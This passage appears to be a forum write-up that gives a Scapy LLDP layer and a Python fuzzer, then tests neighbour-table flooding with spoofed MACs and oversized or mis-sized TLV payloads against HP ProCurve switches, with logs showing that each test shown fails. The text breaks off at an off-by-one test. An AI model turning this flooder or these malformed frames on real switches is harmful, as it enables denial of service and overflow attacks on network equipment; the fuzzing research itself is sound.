_LLDPOrgSpecific = {0x00120f: "IEEE 802.3 Subtypes",
            0x0080c2: "IEEE 802.1 Subtypes"}

###############################################################
# TLV Organisation Specific 802.3 Subtypes
###############################################################

_LLDPOrgSpecificDot3 = {0x01: "MAC/PHY Configuration/Status",
            0x02: "Power Via MDI",
            0x03: "Link Aggregation",
            0x04: "Maximum Frame Size"}
                       
###############################################################
# TLV Organisation Specific 802.3 MAC/PHY Configuration/Status
###############################################################

_LLDPAutoNegSupStat = {0x01: "Supported",
               0x02: "Enabled",
               0x03: "Supported and Enabled"}
                       
_LLDPPmdCapabilities = {1: "1000BASE-T (full duplex mode)",
            1024: "100BASE-TX (full duplex mode)",
            2048: "100BASE-TX (half duplex mode)",
            8192: "10BASE-T (full duplex mode)",
            16384: "10BASE-T (half duplex mode)",
            27649: "all",
            27648: "all except 1000BASE-T (full duplex mode)"}
                       
_LLDPOpMAUType = {0x00: "other or unknown",
          0x01: "AUI",
          0x02: "10BASE-5",
          0x03: "FOIRL",
          0x04: "10BASE-2",
          0x05: "10BASE-T duplex mode unknown",
          0x06: "10BASE-FP",
          0x07: "10BASE-FB",
          0x08: "10BASE-FL duplex mode unknown",
          0x09: "10BROAD36",
          0x0a: "10BASE-T  half duplex mode",
          0x0b: "10BASE-T  full duplex mode",
          0x0c: "10BASE-FL half duplex mode",
          0x0d: "10BASE-FL full duplex mode",
          0x0e: "100BASE-T4",
          0x0f: "100BASE-TX half duplex mode",
          0x10: "100BASE-TX full duplex mode",
          0x11: "100BASE-FX half duplex mode",
          0x12: "100BASE-FX full duplex mode",
          0x13: "100BASE-T2 half duplex mode",
          0x14: "100BASE-T2 full duplex mode",
          0x15: "1000BASE-X half duplex mode",
          0x16: "1000BASE-X full duplex mode",
          0x17: "1000BASE-LX half duplex mode",
          0x18: "1000BASE-LX full duplex mode",
          0x19: "1000BASE-SX half duplex mode",
          0x1a: "1000BASE-SX full duplex mode",
          0x1b: "1000BASE-CX half duplex mode",
          0x1c: "1000BASE-CX full duplex mode",
          0x1d: "1000BASE-T half duplex mode",
          0x1e: "1000BASE-T full duplex mode",
          0x1f: "10GBASE-X",
          0x20: "10GBASE-LX4",
          0x21: "10GBASE-R",
          0x22: "10GBASE-ER",
          0x23: "10GBASE-LR",
          0x24: "10GBASE-SR",
          0x25: "10GBASE-W",
          0x26: "10GBASE-EW",
          0x27: "10GBASE-LW",
          0x28: "10GBASE-SW",
          0x29: "10GBASE-CX4",
          0x2a: "2BASE-TL",
          0x2b: "10PASS-TS",
          0x2c: "100BASE-BX10D",
          0x2d: "100BASE-BX10U",
          0x2e: "100BASE-LX10",
          0x2f: "1000BASE-BX10D",
          0x30: "1000BASE-BX10U",
          0x31: "1000BASE-LX10",
          0x32: "1000BASE-PX10D",
          0x33: "1000BASE-PX10U",
          0x34: "1000BASE-PX20D",
          0x35: "1000BASE-PX20U",
          0x36: "10GBASE-T",
          0x37: "10GBASE-LRM",
          0x38: "1000BASE-KX",
          0x39: "10GBASE-KX4",
          0x3a: "10GBASE-KR",
          0x3b: "10/1GBASE-PRX-D1",
          0x3c: "10/1GBASE-PRX-D2",
          0x3d: "10/1GBASE-PRX-D3",
          0x3e: "10/1GBASE-PRX-U1",
          0x3f: "10/1GBASE-PRX-U2",
          0x40: "10/1GBASE-PRX-U3",
          0x41: "10GBASE-PR-D1",
          0x42: "10GBASE-PR-D2",
          0x43: "10GBASE-PR-D3",
          0x44: "10GBASE-PR-U1",
          0x45: "10GBASE-PR-U3",
          0x46: "40GBASE-KR4",
          0x47: "40GBASE-CR4",
          0x48: "40GBASE-SR4",
          0x49: "40GBASE-FR",
          0x4a: "40GBASE-LR4",
          0x4b: "100GBASE-CR10",
          0x4c: "100GBASE-SR10",
          0x4d: "100GBASE-LR4",
          0x4e: "100GBASE-ER4"}

class LLDPDot3MacPhyStatus(LLDPGeneric):
    name = "LLDP IEEE 802.3 MAC/PHY Configuration/Status"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
             BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x01, _LLDPOrgSpecificDot3),
             ByteEnumField("AutoNegStatus", 0x03, _LLDPAutoNegSupStat),
             BitEnumField("PMDcapabilities", 1, 16, _LLDPPmdCapabilities),
             BitEnumField("OperationalMAUType", 0x1e, 16, _LLDPOpMAUType)]
                 
###############################################################
# TLV Organisation Specific 802.3 Power Via MDI
###############################################################

_LLDPMDIPowerSupport = {0x01: "Port Class: PSE",
            0x02: "PSE MDI Power: Supported",
            0x03: "Port Class: PSE + PSE MDI Power: Supported",
            0x04: "PSE MDI Power Enabled: Yes",
            0x05: "Port Class: PSE + PSE MDI Power Enabled: Yes",
            0x06: "PSE MDI Power: Supported + PSE MDI Power Enabled: Yes",
            0x07: "Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes",
            0x08: "PSE Pairs Control Ability: Yes",
            0x09: "Port Class: PSE + PSE Pairs Control Ability: Yes",
            0x0a: "PSE Pairs Control Ability: Yes + PSE MDI Power: Supported",
            0x0b: "Port Class: PSE + PSE MDI Power: Supported + PSE Pairs Control Ability: Yes",
            0x0c: "PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
            0x0d: "Port Class: PSE + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
            0x0e: "PSE MDI Power: Supported + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes",
            0x0f: "Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes + PSE Pairs Control Ability: Yes"}

_LLDPPSEPowerPair = {0x01: "the signal pairs only are in use",
             0x02: "the spare pairs only are in use"}
                   
_LLDPPowerClass = {0x00: "No Power",
           0x01: "class 0",
           0x02: "class 1",
           0x03: "class 2",
           0x04: "class 3",
           0x05: "class 4"}

class LLDPDot3PowerViaMDI(LLDPGeneric):
    name = "LLDP IEEE 802.3 Power Via MDI"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x02, _LLDPOrgSpecificDot3),
             ByteEnumField("MDIPowerSupport", 0x07, _LLDPMDIPowerSupport),
             ByteEnumField("PSEPowerPair", 0x01, _LLDPPSEPowerPair),
             ByteEnumField("PowerClass", 0x00, _LLDPPowerClass)]
             
###############################################################
# TLV Organisation Specific 802.3 Link Aggregation
###############################################################

_LLDPAggregationStatus = {0x01: "Aggregation Capability: Yes",
              0x02: "Aggregation Status: Enabled",
              0x03: "Capable: Yes and Enabled: Yes"}

class LLDPDot3LinkAggregation(LLDPGeneric):
    name = "LLDP IEEE 802.3 Link Aggregation"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x03, _LLDPOrgSpecificDot3),
             ByteEnumField("AggregationStatus", 0x01, _LLDPAggregationStatus),
             BitField("AggregatedPortID", 0, 32)]

###############################################################
# TLV Organisation Specific 802.3 Maximum Frame Size
###############################################################             

class LLDPDot3MaxFrameSize(LLDPGeneric):
    name = "LLDP IEEE 802.3 Maximum Frame Size"
    fields_desc=[BitEnumField("type", 0x7f, 7,  _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x00120f, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x04, _LLDPOrgSpecificDot3),
             BitField("MaxFrameSize", 1522, 16)]
               
###############################################################
# TLV Organisation Specific 802.1 Subtypes
###############################################################
                       
_LLDPOrgSpecificDot1 = {0x01: "Port VLAN ID",
            0x02: "Port and Protocol VLAN ID",
            0x03: "VLAN Name",
            0x04: "Protocol Identity",
            0x05: "VID Usage Digest",
            0x06: "Management VID",
            0x07: "Link Aggregation"}
                       
###############################################################
# TLV Organisation Specific 802.1 Port VLAN ID
###############################################################

class LLDPDot1PortVlanID(LLDPGeneric):
    name = "LLDP IEEE 802.1 Port VLAN ID"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x01, _LLDPOrgSpecificDot1),
             BitField("VlanIdentNr", 488, 16)]             
             
###############################################################
# TLV Organisation Specific 802.1 Port and Protocol VLAN ID
###############################################################             

_LLDPFlags = {0x01: "Not Supported + Not Enabled",
          0x02: "Supported + Not Enabled",
          0x06: "Supported + Enabled"}

class LLDPDot1PortProtVlanID(LLDPGeneric):
    name = "LLDP IEEE 802.1 Port and Protocol VLAN ID"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x02, _LLDPOrgSpecificDot1),
             ByteEnumField("flags", 0x01, _LLDPFlags),
             BitField("VlanIdentNr", 488, 16)]

###############################################################
# TLV Organisation Specific 802.1 VLAN Name
###############################################################             

class LLDPDot1VlanName(LLDPGeneric):
    name = "LLDP IEEE 802.1 VLAN Name"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x03, _LLDPOrgSpecificDot1),
             BitField("VID", 488, 16),
             BitField("VlanNameLength", None, 8),
             StrLenField("VlanName", "", length_from=lambda x: x.VlanNameLength - 1)]
             
###############################################################
# TLV Organisation Specific 802.1 Protocol Identity
###############################################################   

class LLDPDot1ProtoIdent(LLDPGeneric):
    name = "LLDP IEEE 802.1 Protocol Identity"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x04, _LLDPOrgSpecificDot1),
             BitField("ProtoIdentLength", None, 8),
             StrLenField("ProtoIdent", "", length_from=lambda x: x.ProtoIdentLength - 1)]
             
###############################################################
# TLV Organisation Specific 802.1 VID Usage Digest
###############################################################

_LLDPUsageDigest = {0x00000000: "NON-PBB-TEUSAGE",
            0x00000001: "PBB-TE-USAGE"}

class LLDPDot1VidUsageDigest(LLDPGeneric):
    name = "LLDP IEEE 802.1 VID Usage Digest"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x05, _LLDPOrgSpecificDot1),
             BitEnumField("UsageDigest", 0x00000001, 32, _LLDPUsageDigest)]
             
###############################################################
# TLV Organisation Specific 802.1 Management VID
###############################################################

class LLDPDot1MgmtVid(LLDPGeneric):
    name = "LLDP IEEE 802.1 Management VID"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x06, _LLDPOrgSpecificDot1),
             BitField("MgmtVid", 0, 16)]
             
###############################################################
# TLV Organisation Specific 802.1 Link Aggregation
###############################################################

#LLDPAggregationStatus from 802.3

class LLDPDot1LinkAggregation(LLDPGeneric):
    name = "LLDP IEEE 802.1 Link Aggregation"
    fields_desc=[BitEnumField("type", 0x7f, 7, _LLDP_tlv_types),
             BitField("length", None, 9),
                    BitEnumField("orgUniqueCode", 0x0080c2, 24, _LLDPOrgSpecific),
             ByteEnumField("subtype", 0x07, _LLDPOrgSpecificDot1),
             ByteEnumField("AggregationStatus", 1, _LLDPAggregationStatus),
             BitField("AggregatedPortID", 0, 32)]

class LLDP(Packet):
    name ="LLDP"
    fields_desc = [PacketListField("tlvlist", [], _LLDPGuessPayloadClass)]


bind_layers(Ether, LLDP, type=0x88cc)

-----------------------------------------------------------------------------------------------------------------
2 Python/scapy LLDP Fuzzer

This is the code using the above provided LLDP scapy implementation script:

Code: (python) [Select]
from scapy.all import *
from sys import argv
from sys import exit
import string
import random
import re

load_contrib('lldp')

if len(argv) != 2:
    print "Usage: scapy_lldp_fuzzer.py [number of packets]"
    exit(0)

#Generate random strings and numbers
def StringGen(size, chars=string.ascii_uppercase + string.digits + string.ascii_lowercase):
    getstring = ''.join(random.choice(chars) for x in range(size))
    if str(getstring.startswith("0")):
        getstring = re.sub("0","1",getstring)
    return getstring

#Generate Vendor Specific MAC Addresses
def RandMacGen(manufacturer):
    if manufacturer == "HP":
        randmac = ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x9c, 0x02, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF),                   random.randint(0x00, 0xFF)]))
    if manufacturer == "Cisco":
        randmac = ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0xe0, 0x1e, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF),                   random.randint(0x00, 0xFF)]))
    if manufacturer == "Extreme":
        randmac = ':'.join(map(lambda x: "%02x" % x, [ 0x00, 0x01, 0x30, random.randint(0x00, 0x7F), random.randint(0x00, 0xFF),                   random.randint(0x00, 0xFF)]))
    return randmac

def lldpPacketGen():
   
    manufacturer = ["HP", "Cisco", "Extreme"]
    randManufacturer = random.choice(manufacturer)
   
    etherframe            = Ether()            #Start definition of Ethernet Frame
    etherframe.dst            = '01:80:c2:00:00:0e'        #Set Ethernet Frame destination MAC to LLDP Broadcast
    etherframe.src            = RandMacGen(randManufacturer)    #Set Random source MAC address
    etherframe.type            = 0x88cc            #Define LLDP type
       
    lldpChassisID            = LLDPChassisID()        #Start definition of LLDP Chassis ID TLV
    lldpChassisID.type        = 0x01                #LLDP TLV type 1 = Chassis ID   
    lldpChassisID.length        = 0x07                #Define Frame Length
    lldpChassisID.subtype        = 0x04                #Use Chassis ID subtype 4 = MAC Address
    lldpChassisID.macaddr        = RandMacGen(randManufacturer)    #Use Random MAC as Chassis ID Identifier
   
    lldpPortID            = LLDPPortID()            #Start definition of LLDP Port ID TLV
    lldpPortID.type            = 0x02                #LLDP TLV type 2 = Port ID
    lldpPortID.length        = 0x04                #Define Frame Length                             
    lldpPortID.subtype        = 0x05                #Use Port ID subtype 5 = Interface Name
    lldpPortID.intName        = int(StringGen(3, string.digits))    #Random numbers as Port ID
       
    lldpttl                = LLDPTTL()            #Start definition of LLDP TTL TLV
    lldpttl.type            = 0x03                #LLDP TLV Type 3 = Time To Live
    lldpttl.length            = 0x02                #Define Frame Length
    lldpttl.sec            = 120                #TTL in sec
       
    lldpPortDesc            = LLDPPortDescription()        #Start definition of LLDP Port Description TLV
    lldpPortDesc.type        = 0x04                #LLDP TLV Type 4 = Port Description                 
    lldpPortDesc.length        = 0x16                #Define Frame Length
    lldpPortDesc.portDescription     = StringGen(22)            #Random String as Port Description
       
    lldpSysName            = LLDPSystemName()        #Start definition of LLDP System Name TLV
    lldpSysName.type        = 0x05                #LLDP TLV Type 5 = System Name
    lldpSysName.length        = 0x0c                #Define Frame Length
    lldpSysName.systemName        = StringGen(12)            #Random String as System Name
       
    lldpSysDesc            = LLDPSystemDescription()    #Start definition of LLDP System Description TLV
    lldpSysDesc.type        = 0x06                #LLDP TLV Type 6 = System Description
    lldpSysDesc.length        = 0x4b                #Define Frame Length
    lldpSysDesc.systemDescription    = StringGen(510, "A")        #Random String as System Description
       
    lldpSysCap            = LLDPSystemCapabilities()    #Start definition of LLDP System Capabilities TLV
    lldpSysCap.type         = 0x07                #LLDP TLV Type 7 = System Capabilities
    lldpSysCap.length        = 0x04                #Define Frame Length
    lldpSysCap.capabilities        = 'router'            #Capabilities = router
    lldpSysCap.enabledCapabilities     = 'router'            #enabled Capabilities = router
       
    lldpMgmtAddr            = LLDPMgmtAddress()        #Start definition of LLDP Management Address TLV
    lldpMgmtAddr.type        = 0x08                #LLDP TLV Type 8 = Management Address
    lldpMgmtAddr.length        = 0x0e                #Define Frame Length
    lldpMgmtAddr.addrLen        = 0x07                #Define Address length
    lldpMgmtAddr.addrSubtype    = 0x06                #Use Management Address subtype 6 = 802
    lldpMgmtAddr.macaddr        = RandMacGen(randManufacturer)    #Random MAC Address
    lldpMgmtAddr.ifSubtype        = 0x02                #Use Interface Subtype 2 = Interface Index
    lldpMgmtAddr.ifnumber        = int(StringGen(4, string.digits))    #Random Numbers as Interface Index
    lldpMgmtAddr.oidLen        = 0x00                #We don't define any oids
   
    lldpDot3MacPhyStat         = LLDPDot3MacPhyStatus()    #LLDP 802.3 - MAC/PHY Configuration/Status
    lldpDot3MacPhyStat.type     = 0x7f                #LLDP TLV Type 127 = Organization Specific
    lldpDot3MacPhyStat.length     = 0x09                #Define Frame Length
    lldpDot3MacPhyStat.orgUniqueCode= 0x00120f            #LLDP Organization Specific Code 0x00120f = 802.3
    lldpDot3MacPhyStat.subtype     = 0x01                #802.3 Subtype 1 = MAC/PHY Configuration/Status
    lldpDot3MacPhyStat.AutoNegStatus= 0x03                #Auto Negotiation Status 3 = Supported and Enabled
    lldpDot3MacPhyStat.PMDcapabilities= 0x6c00            #PMD Capabilities 27648 = all except 1000BASE-T (full duplex mode)
    lldpDot3MacPhyStat.OperationalMAUType= 0x0010            #Operational MAU Type 16 = 100BASE-TX full duplex mode
   
    lldpDot3PwMdi             = LLDPDot3PowerViaMDI()        #LLDP 802.3 - Power Via MDI
    lldpDot3PwMdi.type         = 0x7f                #LLDP TLV Type 127 = Organization Specific
    lldpDot3PwMdi.length         = 0x07                #Define Frame Length
    lldpDot3PwMdi.orgUniqueCode     = 0x00120f            #LLDP Organization Specific Code 0x00120f = 802.3
    lldpDot3PwMdi.subtype         = 0x02                #802.3 Subtype 2 = Power Via MDI
    lldpDot3PwMdi.MDIPowerSupport     = 0x07                #MDI Power Support 7 = Port Class: PSE + PSE MDI Power: Supported + PSE MDI Power Enabled: Yes
    lldpDot3PwMdi.PSEPowerPair     = 0x01                #PSE Power Pair 1 = the signal pairs only are in use
    lldpDot3PwMdi.PowerClass     = 0x00                #Power Class 0 = No Power
   
    lldpDot3LinkAgg         = LLDPDot3LinkAggregation()    #LLDP 802.3 - Link Aggregation
    lldpDot3LinkAgg.type         = 0x7f                #LLDP TLV Type 127 = Organization Specific
    lldpDot3LinkAgg.length         = 0x09                #Define Frame Length
    lldpDot3LinkAgg.orgUniqueCode     = 0x00120f            #LLDP Organization Specific Code 0x00120f = 802.3
    lldpDot3LinkAgg.subtype        = 0x03                #802.3 Subtype 3 = Link Aggregation
    lldpDot3LinkAgg.AggregationStatus= 0x01                #Aggregation Status 1 = Aggregation Capability: Yes
    lldpDot3LinkAgg.AggregatedPortID= 0x00000000            #Aggregated Port ID 0 = None
   
    lldpMxFrameSize         = LLDPDot3MaxFrameSize()    #LLDP 802.3 - Max. Frame Size
    lldpMxFrameSize.type        = 0x7f                #LLDP TLV Type 127 = Organization Specific
    lldpMxFrameSize.length        = 0x06                #Define Frame Length
    lldpMxFrameSize.orgUniqueCode    = 0x00120f            #LLDP Organization Specific Code 0x00120f = 802.3
    lldpMxFrameSize.subtype        = 0x04                #802.3 Subtype 4 = Max. Frame Size
    lldpMxFrameSize.MaxFrameSize    = 1522                #Frame Size 1522
   
    lldpDot1PVlanId         = LLDPDot1PortVlanID()        #LLDP 802.1 - Port VLAN ID
    lldpDot1PVlanId.type        = 0x7f                #LLDP TLV Type 127 = Organization Specific
    lldpDot1PVlanId.length        = 0x06                #Define Frame Length
    lldpDot1PVlanId.orgUniqueCode    = 0x0080c2            #LLDP Organization Specific Code 0x0080c2 = 802.1
    lldpDot1PVlanId.subtype        = 0x01                #802.1 Subtype 1 = Port VLAN ID
    lldpDot1PVlanId.VlanIdentNr    = 488                #VLAN Identifier 488 (VID)
   
    lldpDot1PPVlanId         = LLDPDot1PortProtVlanID()    #LLDP 802.1 - Port Protocol VLAN ID
    lldpDot1PPVlanId.type        = 0x7f                #LLDP TLV Type 127 = Organization Specific
    lldpDot1PPVlanId.length        = 0x07                #Define Frame Length
    lldpDot1PPVlanId.orgUniqueCode    = 0x0080c2            #LLDP Organization Specific Code 0x0080c2 = 802.1
    lldpDot1PPVlanId.subtype    = 0x02                #802.1 Subtype 2 = Port Protocol VLAN ID
    lldpDot1PPVlanId.flags        = 0x01                #Port Protocol VLAN ID flag 1 = Not Supported + Not Enabled
    lldpDot1PPVlanId.VlanIdentNr    = 488                #VLAN Identifier 488 (VID)
       
    lldpDot1VlanName         = LLDPDot1VlanName()        #LLDP 802.1 - VLAN Name
    lldpDot1VlanName.type        = 0x7f                #LLDP TLV Type 127 = Organization Specific
    lldpDot1VlanName.length        = 0x16                #Define Frame Length
    lldpDot1VlanName.orgUniqueCode    = 0x0080c2            #LLDP Organization Specific Code 0x0080c2 = 802.1
    lldpDot1VlanName.subtype    = 0x03                #802.1 Subtype 3 = VLAN Name
    lldpDot1VlanName.VID        = 488                #Vlan ID (VID)   
    lldpDot1VlanName.VlanNameLength    = 0x0f                #Length of Vlan Name frame
    lldpDot1VlanName.VlanName    = StringGen(15)            #Random String as Vlan Name

    lldpDot1ProtoId         = LLDPDot1ProtoIdent()        #LLDP 802.1 - Protocol ID
    lldpDot1ProtoId.type        = 0x7f                #LLDP TLV Type 127 = Organization Specific
    lldpDot1ProtoId.length        = 0x05                #Define Frame Length
    lldpDot1ProtoId.orgUniqueCode    = 0x0080c2            #LLDP Organization Specific Code 0x0080c2 = 802.1
    lldpDot1ProtoId.subtype        = 0x04                #802.1 Subtype 4 = Protocol ID
    lldpDot1ProtoId.ProtoIdentLength= 0x00                #Protocol ID Length 0 - no ID

    lldpEnd             = LLDPEndOfPdu()        #Start definition of LLDP End of LLDPPDU
    lldpEnd.type             = 0x00                #LLDP TLV Type 0 = End of LLDPPDU
    lldpEnd.length             = 0x00                #Define Frame length

    #Create Command Line Output
    output = etherframe.src+' -> '+etherframe.dst+' / System Name: '+lldpSysName.systemName+' / Port ID: '+str(lldpPortID.intName)+' / TTL: '+str(lldpttl.sec)
    print output

    #Assemble Packet
    packet = etherframe/lldpChassisID/lldpPortID/lldpttl/lldpPortDesc/lldpSysName/lldpSysDesc/lldpSysCap/lldpMgmtAddr/lldpDot3MacPhyStat/lldpDot3PwMdi/lldpDot3LinkAgg/lldpMxFrameSize/lldpDot1PVlanId/lldpDot1PPVlanId/lldpDot1VlanName/lldpDot1ProtoId/lldpEnd
    return packet

i = 0
while i < int(argv[1]):
    i += 1
   
    packet = lldpPacketGen()
    sendp(packet, verbose=0)

2.1 Test LLDP Neighbor Database flooding against HP

Tested Devices
HP ProCurve 2520 -> Firmware Version: S.14.03
HP ProCurve 2610 -> Firmware Version: R.11.72

To get some information while testing I turned on all debuging information and send them to a syslog server

Test Results HP ProCurve 2520 and 2610
For the flooding attack I started with the script provided above without any modification. Sending 1000 LLDP packets to the device quickly produced the following message:

LLDP: LLDP mlldpCtrl:lldp pkt received on port : 1
LLDP: LLDP mlldpCtrl:lldp neighbor limit exceeded - port : 1

I realized a slight ingress of CPU usage on the switches but thats not even close to what I was looking for. I searched around in some config guides, the internet and the command line but sadly I found nothing :( There seems to be a difference between both switches regarding the number of lldp neighbors per port. Maybe we can get a better result with a higher amount of packets and a shorter TTL. The TTL defines how long the entry should remain in the database (is valid). Change the following line in the code:

Code: [Select]
lldpttl.sec            = 2                #TTL in sec
This time I got no neighbor limit exceeded message because the entries become invalid before the limit was reached. This means the limit is not about the amount of packets received in a specific time period, it's about the number of entries in the database. The cpu usage during this test was normal (like before) and a ping to google.com showed that there was no interruption regarding L2 or L3 functionality. Compared to CDP the LLDP implementation on HP ProCurve switches doesn't seem to be vulnerable to a database flooding attack.

2.2 Chassis ID Payload Overload
I found that nice paper on the internet .Its written by Jeremy Hollander - Department of Computer Sciences -The University of Texas at Austin

Download: http://upload.evilzone.org/download.php?id=4824393&type=zip

Quote from: Jeremy Hollander
In the first test case we overload the payload for the Chassis ID TLV. The LLDP specification specifies that the maximum payload size for the Chassis ID TLV is 255 bytes. In this first test case we send 510 bytes. We correctly store the information string length as being 511 bytes. If the receiving agent does not perform any verification on the size of the Chassis ID TLV when receiving LLDP packets it may only assign 255 bytes for this TLV. This may have as a result that the Port ID TLV, or any information stored in sequence after the Chassis ID TLV, will be overwritten with the last 255 bytes of the information string.

Edited the fuzzer to:

Code: (python) [Select]
lldpChassisID            = LLDPChassisID()        #Start definition of LLDP Chassis ID TLV
lldpChassisID.type        = 0x01                #LLDP TLV type 1 = Chassis ID   
lldpChassisID.length        = 0x1ff#0x07            #Define Frame Length
lldpChassisID.subtype        = 0x06#0x04            #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr        = RandMacGen(randManufacturer)    #Use Random MAC as Chassis ID Identifier
lldpChassisID.intName        = StringGen(512)

Response from the switch
LLDP: LLDP lldp pkt's mandatory tlvs invalid - port : 3

Seems like the mandatory tlvs are checked. So lets try one that is not mandatory like the Port Description TLV

2.3 Port Description Payload Overload

The Port Description TLV Payload maximum value length should be 255 bytes. We follow the approach from 2.2 and send 510 bytes with a correct length value of 510 bytes. I am going to send a lot of A's to see if we can find these A's in a TLV where they don't belong.

Code: (python) [Select]
lldpPortDesc            = LLDPPortDescription()        #Start definition of LLDP Port Description TLV
lldpPortDesc.type        = 0x04                #LLDP TLV Type 4 = Port Description                 
lldpPortDesc.length        = 0x1fe#0x16            #Define Frame Length
lldpPortDesc.portDescription     = StringGen(510, "A")        #Random String as Port Description

LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3

seems like he likes the packets but the show lldp info remote 3 command shows that no value was overwritten.
Code: [Select]
  Local Port   : 3
  ChassisType  : mac-address         
  ChassisId    : 00 e0 1e 56 f6 4b       
  PortType     : interface-name
  PortId       : 853                     
  SysName      : szliFmmVbAQJ                 
  System Descr : kj8YxXrroNIjKeMaFK111fDCrr2i3j4RU92bDoiL36SAMiMGliC41wiq9...
  PortDescr    : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...

  System Capabilities Supported  : router
  System Capabilities Enabled    : router

  Remote Management Address
     Type    : all802
     Address : 00 e0 1e 3d 47 99

lets see what happens when we try to overload the System Description TLV.

2.4 System Description Payload Overload

The System Description TLV looks similar to the Port Description TLV and we need to change the code to:

Code: (python) [Select]
lldpSysDesc            = LLDPSystemDescription()    #Start definition of LLDP System Description TLV
lldpSysDesc.type        = 0x06                #LLDP TLV Type 6 = System Description
lldpSysDesc.length        = 0x1fe#0x4b            #Define Frame Length
lldpSysDesc.systemDescription    = StringGen(510, "A")#75    #Random String as System Description

LLDP: LLDP new neighbor on port : 3
LLDP: LLDP lldp pkt received on port : 3

Code: [Select]
LLDP Remote Device Information Detail

  Local Port   : 3
  ChassisType  : mac-address         
  ChassisId    : 00 01 30 50 96 aa       
  PortType     : interface-name
  PortId       : 485                     
  SysName      : p3nmMcWCGsIW                 
  System Descr : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
  PortDescr    : 5FgFQvRyNb4fcPwE9GgOIg                                     

  System Capabilities Supported  : router
  System Capabilities Enabled    : router

  Remote Management Address
     Type    : all802
     Address : 00 01 30 6e e7 d0

Again The Switch placed the entry in the database but again we were not able to overwrite the next value :(

2.5 Chassis ID TLV with no payload

Quote from: Jeremy Hollander
In the second test case we send an LLDP packet which contains a Chassis ID TLV with no payload. On parsing this TLV we should expect the receiving agent to discard the message because the minimum TLV information string length is two bytes: one byte for the Chassis ID subtype and at least one byte for the information string.

Code: (python) [Select]
lldpChassisID            = LLDPChassisID()        #Start definition of LLDP Chassis ID TLV
lldpChassisID.type        = 0x01                #LLDP TLV type 1 = Chassis ID   
lldpChassisID.length        = 0x01#0x07            #Define Frame Length
lldpChassisID.subtype        = 0x06#0x04            #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr        = RandMacGen(randManufacturer)    #Use Random MAC as Chassis ID Identifier
lldpChassisID.intName        = ""

LLDP: LLDP lldp pkt received on port : 3
LLDP: LLDP lldp pkt's mandatory tlvs invalid - port : 3

And again the switch made the right choice and droped the packet.

2.6 Wrong TLV information string length in Chassis ID

Quote from: Jeremy Hollander
In the third test case we investigate whether the TLV information string length is tested against the real size of the information string in the Chassis ID. In this packet we set the TLV information string length to 1 such that the receiving agent may only reserve a single byte for this TLV. However we provide a four- byte payload. Similarly to the first test case it is possible that the Chassis ID information string will overwrite the Port ID TLV, if both are stored in sequence in the MIB. Otherwise it may overwrite random information in the MIB.

Code: (python) [Select]
lldpChassisID            = LLDPChassisID()        #Start definition of LLDP Chassis ID TLV
lldpChassisID.type        = 0x01                #LLDP TLV type 1 = Chassis ID   
lldpChassisID.length        = 0x01#0x07            #Define Frame Length
lldpChassisID.subtype        = 0x06#0x04            #Use Chassis ID subtype 4 = MAC Address
#lldpChassisID.macaddr        = RandMacGen(randManufacturer)    #Use Random MAC as Chassis ID Identifier
lldpChassisID.intName        = StringGen(4)

LLDP: LLDP lldp pkt received on port : 3
LLDP: LLDP lldp pkt's mandatory tlvs invalid - port : 3

Guess I don't need to say anymore... this is really frustrating :)

2.7 off-by-one error

Quote from: Jeremy Hollander
In the fourth test case we send a malformed packet with a 256 byte Chassis ID information string. This is one byte larger than allowed by the protocol. The information string length is therefore, including the Chassis ID subtype, 257 bytes. In this case we wish to find out if the device under test may have an off-by-one error.

Code: (python) [Select]
